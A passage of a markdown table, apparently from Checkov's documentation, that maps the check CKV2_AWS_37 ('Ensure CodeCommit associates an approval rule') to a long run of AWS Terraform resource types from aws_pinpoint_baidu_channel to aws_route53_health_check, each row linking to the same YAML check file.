[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1594 | CKV2_AWS_37 | resource | aws_pinpoint_baidu_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1595 | CKV2_AWS_37 | resource | aws_pinpoint_email_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1596 | CKV2_AWS_37 | resource | aws_pinpoint_email_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1597 | CKV2_AWS_37 | resource | aws_pinpoint_event_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1598 | CKV2_AWS_37 | resource | aws_pinpoint_gcm_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1599 | CKV2_AWS_37 | resource | aws_pinpoint_sms_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1600 | CKV2_AWS_37 | resource | aws_pinpointsmsvoicev2_configuration_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1601 | CKV2_AWS_37 | resource | aws_pinpointsmsvoicev2_opt_out_list | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1602 | CKV2_AWS_37 | resource | aws_pinpointsmsvoicev2_phone_number | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1603 | CKV2_AWS_37 | resource | aws_pipes_pipe | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1604 | CKV2_AWS_37 | resource | aws_placement_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1605 | CKV2_AWS_37 | resource | aws_prometheus_alert_manager_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1606 | CKV2_AWS_37 | resource | aws_prometheus_rule_group_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1607 | CKV2_AWS_37 | resource | aws_prometheus_scraper | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1608 | CKV2_AWS_37 | resource | aws_prometheus_workspace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1609 | CKV2_AWS_37 | resource | aws_proxy_protocol_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1610 | CKV2_AWS_37 | resource | aws_qldb_ledger | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1611 | CKV2_AWS_37 | resource | aws_qldb_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1612 | CKV2_AWS_37 | resource | aws_quicksight_account_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1613 | CKV2_AWS_37 | resource | aws_quicksight_analysis | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1614 | CKV2_AWS_37 | resource | aws_quicksight_dashboard | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1615 | CKV2_AWS_37 | resource | aws_quicksight_data_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1616 | CKV2_AWS_37 | resource | aws_quicksight_data_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1617 | CKV2_AWS_37 | resource | aws_quicksight_folder | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1618 | CKV2_AWS_37 | resource | aws_quicksight_folder_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1619 | CKV2_AWS_37 | resource | aws_quicksight_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1620 | CKV2_AWS_37 | resource | aws_quicksight_group_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1621 | CKV2_AWS_37 | resource | aws_quicksight_iam_policy_assignment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1622 | CKV2_AWS_37 | resource | aws_quicksight_ingestion | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1623 | CKV2_AWS_37 | resource | aws_quicksight_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1624 | CKV2_AWS_37 | resource | aws_quicksight_refresh_schedule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1625 | CKV2_AWS_37 | resource | aws_quicksight_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1626 | CKV2_AWS_37 | resource | aws_quicksight_template_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1627 | CKV2_AWS_37 | resource | aws_quicksight_theme | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1628 | CKV2_AWS_37 | resource | aws_quicksight_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1629 | CKV2_AWS_37 | resource | aws_quicksight_vpc_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1630 | CKV2_AWS_37 | resource | aws_ram_principal_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1631 | CKV2_AWS_37 | resource | aws_ram_resource_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1632 | CKV2_AWS_37 | resource | aws_ram_resource_share | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1633 | CKV2_AWS_37 | resource | aws_ram_resource_share_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1634 | CKV2_AWS_37 | resource | aws_ram_sharing_with_organization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1635 | CKV2_AWS_37 | resource | aws_rbin_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1636 | CKV2_AWS_37 | resource | aws_rds_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1637 | CKV2_AWS_37 | resource | aws_rds_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1638 | CKV2_AWS_37 | resource | aws_rds_cluster_activity_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1639 | CKV2_AWS_37 | resource | aws_rds_cluster_endpoint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1640 | CKV2_AWS_37 | resource | aws_rds_cluster_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1641 | CKV2_AWS_37 | resource | aws_rds_cluster_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1642 | CKV2_AWS_37 | resource | aws_rds_cluster_role_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1643 | CKV2_AWS_37 | resource | aws_rds_cluster_snapshot_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1644 | CKV2_AWS_37 | resource | aws_rds_custom_db_engine_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1645 | CKV2_AWS_37 | resource | aws_rds_export_task | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1646 | CKV2_AWS_37 | resource | aws_rds_global_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1647 | CKV2_AWS_37 | resource | aws_rds_instance_state | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1648 | CKV2_AWS_37 | resource | aws_rds_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1649 | CKV2_AWS_37 | resource | aws_rds_reserved_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1650 | CKV2_AWS_37 | resource | aws_redshift_authentication_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1651 | CKV2_AWS_37 | resource | aws_redshift_cluster | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1652 | CKV2_AWS_37 | resource | aws_redshift_cluster_iam_roles | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1653 | CKV2_AWS_37 | resource | aws_redshift_cluster_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1654 | CKV2_AWS_37 | resource | aws_redshift_data_share_authorization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1655 | CKV2_AWS_37 | resource | aws_redshift_data_share_consumer_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1656 | CKV2_AWS_37 | resource | aws_redshift_endpoint_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1657 | CKV2_AWS_37 | resource | aws_redshift_endpoint_authorization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1658 | CKV2_AWS_37 | resource | aws_redshift_event_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1659 | CKV2_AWS_37 | resource | aws_redshift_hsm_client_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1660 | CKV2_AWS_37 | resource | aws_redshift_hsm_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1661 | CKV2_AWS_37 | resource | aws_redshift_logging | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1662 | CKV2_AWS_37 | resource | aws_redshift_parameter_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1663 | CKV2_AWS_37 | resource | aws_redshift_partner | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1664 | CKV2_AWS_37 | resource | aws_redshift_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1665 | CKV2_AWS_37 | resource | aws_redshift_scheduled_action | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1666 | CKV2_AWS_37 | resource | aws_redshift_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1667 | CKV2_AWS_37 | resource | aws_redshift_snapshot_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1668 | CKV2_AWS_37 | resource | aws_redshift_snapshot_copy_grant | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1669 | CKV2_AWS_37 | resource | aws_redshift_snapshot_schedule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1670 | CKV2_AWS_37 | resource | aws_redshift_snapshot_schedule_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1671 | CKV2_AWS_37 | resource | aws_redshift_subnet_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1672 | CKV2_AWS_37 | resource | aws_redshift_usage_limit | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1673 | CKV2_AWS_37 | resource | aws_redshiftdata_statement | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1674 | CKV2_AWS_37 | resource | aws_redshiftserverless_custom_domain_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1675 | CKV2_AWS_37 | resource | aws_redshiftserverless_endpoint_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1676 | CKV2_AWS_37 | resource | aws_redshiftserverless_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1677 | CKV2_AWS_37 | resource | aws_redshiftserverless_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1678 | CKV2_AWS_37 | resource | aws_redshiftserverless_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1679 | CKV2_AWS_37 | resource | aws_redshiftserverless_usage_limit | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1680 | CKV2_AWS_37 | resource | aws_redshiftserverless_workgroup | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1681 | CKV2_AWS_37 | resource | aws_region_info | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1682 | CKV2_AWS_37 | resource | aws_rekognition_collection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1683 | CKV2_AWS_37 | resource | aws_rekognition_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1684 | CKV2_AWS_37 | resource | aws_rekognition_stream_processor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1685 | CKV2_AWS_37 | resource | aws_resiliencehub_resiliency_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1686 | CKV2_AWS_37 | resource | aws_resourceexplorer2_index | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1687 | CKV2_AWS_37 | resource | aws_resourceexplorer2_view | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1688 | CKV2_AWS_37 | resource | aws_resourcegroups_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1689 | CKV2_AWS_37 | resource | aws_resourcegroups_resource | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1690 | CKV2_AWS_37 | resource | aws_rolesanywhere_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1691 | CKV2_AWS_37 | resource | aws_rolesanywhere_trust_anchor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1692 | CKV2_AWS_37 | resource | aws_root | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1693 | CKV2_AWS_37 | resource | aws_root_access_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1694 | CKV2_AWS_37 | resource | aws_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1695 | CKV2_AWS_37 | resource | aws_route53_cidr_collection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1696 | CKV2_AWS_37 | resource | aws_route53_cidr_location | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1697 | CKV2_AWS_37 | resource | aws_route53_delegation_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1698 | CKV2_AWS_37 | resource | aws_route53_health_check | Ensure CodeCommit associates an approval rule | Terraform | 